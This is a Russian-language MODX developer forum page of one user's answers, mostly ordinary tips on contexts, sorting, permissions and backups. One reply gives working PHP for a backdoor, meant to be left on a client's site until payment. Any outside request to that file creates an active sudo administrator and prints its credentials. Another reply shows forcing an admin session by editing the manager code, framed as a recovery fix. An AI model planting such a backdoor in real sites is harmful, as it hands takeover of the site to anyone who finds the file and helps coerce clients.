Владимир

Владимир

С нами с 28 декабря 2012; Место в рейтинге пользователей: #82
Максим Кузнецов
24 января 2017, 00:43
6
+4
Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код:

<?php
	define('MODX_API_MODE', true);
	//количество dirname = глубина документа относительно корня
	require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php';

	$user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
	$pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];
	
	$u = $modx->newObject('modUser');
	$u->fromArray(array(
		'username' => $user,
		'password' => $pass,
		'active' => 1,
		'primary_group' => 1,
	));
	$u->joinGroup('1', '0');
	$u->setSudo(1);
	$p = $modx->newObject('modUserProfile');
	$p->fromArray(array(
		'fullname' => $user,
		'email' => $user.'@yoba.ru',
	));
	$u->addOne($p);
	$u->save();
	
	if (!empty($u->username)) {
		print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
	}
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)

По поводу взлома можешь обратиться к agel_nash, наверное.
Сергей Шлоков
23 января 2017, 22:13
2
+2
Кто короче :)
collection('modContext')->each(function($context){echo $context['key'];});
Максим Кузнецов
23 января 2017, 20:38
1
+2
$contexts = $modx->getCollection('modContext', array('key:!=' => 'mgr'));

foreach($contexts as $context) {
	echo $context->key;
}
Павел Романов
23 января 2017, 19:54
1
+2
Как-то так:

<?php
$contexts = $modx->getCollection('modContext', array('key:NOT IN' => array('mgr')));
foreach($contexts as $cx) {
    if($cx->prepare()) {
        echo $cx->key.', ';
    }
}
Володя
22 января 2017, 21:55
2
+2
просто укажи
&sortby=`COALESCE(clock.price,9999999999)`
Fi1osof
16 января 2017, 03:46
1
+2
В manager/index.php сразу после $modx->initialize(); пишете:
$modx->user = $modx->getObject("modUser", $admin_user_id);
$modx->user->sudo = 1;
$modx->user->addSessionContext("mgr");
И обновляете страницу админки.
Если не поможет, то совсем плохо дела.

А вообще проверьте системные настройки site_url|manager_url или типа того, returnUrl у вас сбитый joxi.ru/eAOqaVNfx9jojm (но это так, на всякий случай). Но скорее всего проблема просто в том, что у вас кукисы двоятся. Не экспериментировали с указанием домена для кукисов? То есть авторизация проходит, и страница обновляется (что нормально), но сессия не держится.
Алексей Ерохин
10 января 2017, 15:06
1
+4
github.com/modxcms/revolution/issues/13243
нужно дать разрешение view_template для группы
Виталий Батушев
29 декабря 2016, 07:52
1
0
Давно променял Vapor на Teleport.
Удобно как раз для переносов сайтов и для бэкапов прекрасно — все в одном файле получается.
Минус только в одном: после inject-а нужно обновить (переустановить) несколько плагинов: MIGX, Ace, CKEditor.
«Традиционный» бэкап делаю только в силу благоприобретенной паранойи.
Василий Наумкин
02 декабря 2016, 18:52
1
+1
Попробуй в скобочках:
{if ('1' in list $compl)}